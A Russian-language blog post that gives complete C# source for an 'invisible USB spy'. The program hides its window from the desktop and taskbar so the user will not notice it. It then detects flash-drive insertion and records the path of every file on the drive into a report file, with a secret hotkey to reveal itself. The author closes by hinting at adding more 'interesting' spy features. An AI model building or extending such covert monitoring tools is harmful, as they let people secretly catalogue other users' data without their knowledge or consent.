Невидимый USB шпион на C#

Дмитрий Герасименко
Читая иной раз посты посвященные компьютерной безопасности, я прихожу к одному и тому же выводу - персональный компьютер в плане кибер безопасности - это одна очень большая "дыра", т.е. никто не застрахован от того, что в один прекрасный момент все ваши конфиденциальные данные, которые хранятся на компьютере, могут оказаться в руках злоумышленников.
 
Вообще очень часто ловлю себя на мысли, что у каждой вещи, на самом деле, всегда есть две стороны - положительная и отрицательная.
В сегодняшнем посте я покажу, как создать невидимый USB шпион, хотя если посмотреть с другой стороны, то можно назвать и по-другому просто - USB сканер.  Листинг (код)  нашей утилиты содержит решения следующих вопросов: • Как назначить для своего приложения горячие клавиши Hotkeys?
• Как отловить событие подключения USB флеш накопителя (флешки) к компьютеру?
• Как осуществить поиск файлов на жёстком диске, флешке?
• Как записать полученные данные в файл?
• Как спрятать своё приложение с рабочего стола и с панели задач?
Интерфейс. Как же должна будет выглядеть наша программа?
 
Я не стал заморачиваться и потому весь интерфейс программы состоит из главной формы и одной единственной кнопки, которая служит для того, чтобы скрывать наше приложение от юзера.
Принцип действия. Что же будет уметь делать наша утилита? 1) При запуске форма не отобразится на рабочем столе и на панели задач (taskbar) - это сделано для того, что бы не вызвать лишних подозрений у юзера,
2) При подключении флешки к компьютеру программа отловит это событие. 
3) Определит букву тома назначенную операционной системой USB  накопителю. 
4) Просканирует - т.е. осуществит поиск всех имеющихся файлов на флешке. 
5) Далее, запишет путь и имя каждого найденного файла в специальный файл-отчёт. 
Да, если нам понадобится отключить нашу прогу, то будет достаточно нажать одновременно сочетание горячих клавиш CTRL+ALT+S и главная форма станет видимой.
Листинг:
using System;

using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using Microsoft.Win32;
namespace WindowsFormsApplication1
{ public partial class Form1 : Form
{
string Driver;
[Flags]
public enum Modifier : int
{
None = 0x0000,
Alt = 0x0001,
Ctrl = 0x0002,
NoRepeat = 0x4000,
Shift = 0x0004,
Win = 0x0008
}
public class HotkeyEventArgs : EventArgs
{
private Modifier _modifier;
private Keys _key;
internal HotkeyEventArgs(Modifier modifier, Keys key)
{
_modifier = modifier;
_key = key;
}
public Modifier Modifier
{
get { return _modifier; }
}
public Keys Key
{
get { return _key; }
}
}
public delegate void HotkeyPressedCb(HotkeyEventArgs args); class HotkeyCombo
{
public int modifier = 0;
public int key = 0;
public HotkeyCombo()
{
}
public HotkeyCombo(int mmodifier, int kkey)
{
modifier = mmodifier;
key = kkey;
}
public bool Equals(HotkeyCombo rhs)
{
return (modifier == rhs.modifier) && (key == rhs.key);
}
public override bool Equals(object obj)
{
return Equals(obj as HotkeyCombo);
}
public override int GetHashCode()
{
return modifier * 31 + key;
}
}
class Window : NativeWindow, IDisposable
{
private static int WM_HOTKEY = 0x0312;
public Dictionary<HotkeyCombo, HotkeyPressedCb> callbacks = new Dictionary<HotkeyCombo, HotkeyPressedCb>();
public Window()
{
this.CreateHandle(new CreateParams());
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == WM_HOTKEY)
{
Keys key = (Keys)(((int)m.LParam >> 16) & 0xFFFF);
Modifier modifier = (Modifier)((int)m.LParam & 0xFFFF);
HotkeyCombo combo = new HotkeyCombo((int)modifier, (int)key);
callbacks[combo](new HotkeyEventArgs(modifier, key));
}
}
public void Dispose()
{
this.DestroyHandle();
}
}
public class Hotkey
{
/* http://msdn.microsoft.com/en-gb/library/windows/desktop/ms646309%28v=vs.85%29.aspx */
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, uint vk);
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms646327%28v=vs.85%29.aspx */
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool UnregisterHotKey(IntPtr hWnd, int id);
Window _window = new Window();
int _currentId = 0;
public void registerHotkey(Modifier modifier, Keys key, HotkeyPressedCb func)
{
if (func == null)
{
throw new ArgumentNullException("func", "Function pointer is null.");
}
_currentId += 1;
if (!RegisterHotKey(_window.Handle, _currentId, (uint)modifier, (uint)key))
{
throw new InvalidOperationException("Couldn't register hotkey.");
}
_window.callbacks.Add(new HotkeyCombo((int)modifier, (int)key), func);
}
public void Dispose()
{
for (int i = _currentId; i > 0; --i)
{
UnregisterHotKey(_window.Handle, i);
}
_window.Dispose();
}
}
private const int WM_DEVICECHANGE = 0x0219; private const int DBT_DEVTYP_VOLUME = 0x00000002; private const int DBT_DEVICEARRIVAL = 0x8000; private const int DBT_DEVICEQUERYREMOVE = 0x8001; private const int DBT_DEVICEREMOVECOMPLETE = 0x8004;

//Отлавливаем событие подключения флешки
protected override void WndProc(ref Message message)
{
base.WndProc(ref message);
if ((message.Msg != WM_DEVICECHANGE) || (message.LParam == IntPtr.Zero))
return;
DEV_BROADCAST_VOLUME volume = (DEV_BROADCAST_VOLUME)Marshal.PtrToStructure(message.LParam, typeof(DEV_BROADCAST_VOLUME)); if (volume.dbcv_devicetype == DBT_DEVTYP_VOLUME)
{
switch (message.WParam.ToInt32())
{
case DBT_DEVICEARRIVAL:
Driver = ToDriveName(volume.dbcv_unitmask);
RecordToFile();
break;
case DBT_DEVICEREMOVECOMPLETE:
break;
}
}
}
// узнаём букву тома
private string ToDriveName(int mask)
{
int offset = 0;
while ((offset < 26) && ((mask & 0x00000001) == 0))
{
mask = mask >> 1;
offset++;
}
if (offset < 26)
return String.Format("{0}:", Convert.ToChar(Convert.ToInt32('A') + offset));
return "?";
}
[StructLayout(LayoutKind.Sequential)]
private struct DEV_BROADCAST_VOLUME
{
public int dbcv_size;
public int dbcv_devicetype;
public int dbcv_reserved;
public int dbcv_unitmask;
}
//Ищем файлы и записываем путь и имя каждого найденного файла в спец. файл
private static void GetFiles(string path, TextWriter text)
{
try
{
DirectoryInfo dir = new DirectoryInfo(path);
FileInfo[] files = dir.GetFiles();
foreach (FileInfo f in files)
{
text.WriteLine(f.FullName);
Console.WriteLine(f.Name);
}
foreach (DirectoryInfo d in dir.GetDirectories())
{
GetFiles(path + d.Name + @"\", text);
}
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
//процедура вызова поиска и записи
void RecordToFile()
{
using (TextWriter text = new StreamWriter(@"D:\fileinfo.txt"))//место хранения файл отчёта
{
Driver = Driver + "\\";
GetFiles(Driver, text);
Driver = "";
}
}
[DllImport("user32.dll")]
public static extern UInt32 RegisterHotKey(IntPtr hWnd, UInt32 id, UInt32 fsModifiers, UInt32 vk);
public Form1()
{
InitializeComponent();
RegisterHotKey(this.Handle, 0x3400, 1, (UInt32)Keys.Z);
}
Hotkey hook = new Hotkey();
private void Form1_Load(object sender, EventArgs e)
{
this.WindowState = FormWindowState.Minimized; //сворачиваем форму при старте
this.ShowInTaskbar = false; //не отображаем форму на панели задач
//Регистрируем горячие клавиши CTRL+ALT+S
hook.registerHotkey(Modifier.Ctrl | Modifier.Alt, Keys.S, firstCallback);// устанавливаем ловушку на HotKeys
}
void firstCallback(HotkeyEventArgs e)
{
this.WindowState = FormWindowState.Normal;
this.ShowInTaskbar = true;
} private void button1_Click(object sender, EventArgs e)
{
this.WindowState = FormWindowState.Minimized;
this.ShowInTaskbar = false;
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
hook.Dispose();
}
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
}
}
}

Конечно, я намеренно не стал более дорабатывать данный пример, ведь если включить воображение, то можно добавить очень много "интересных" функций в наш "шпион" :)
0 чел.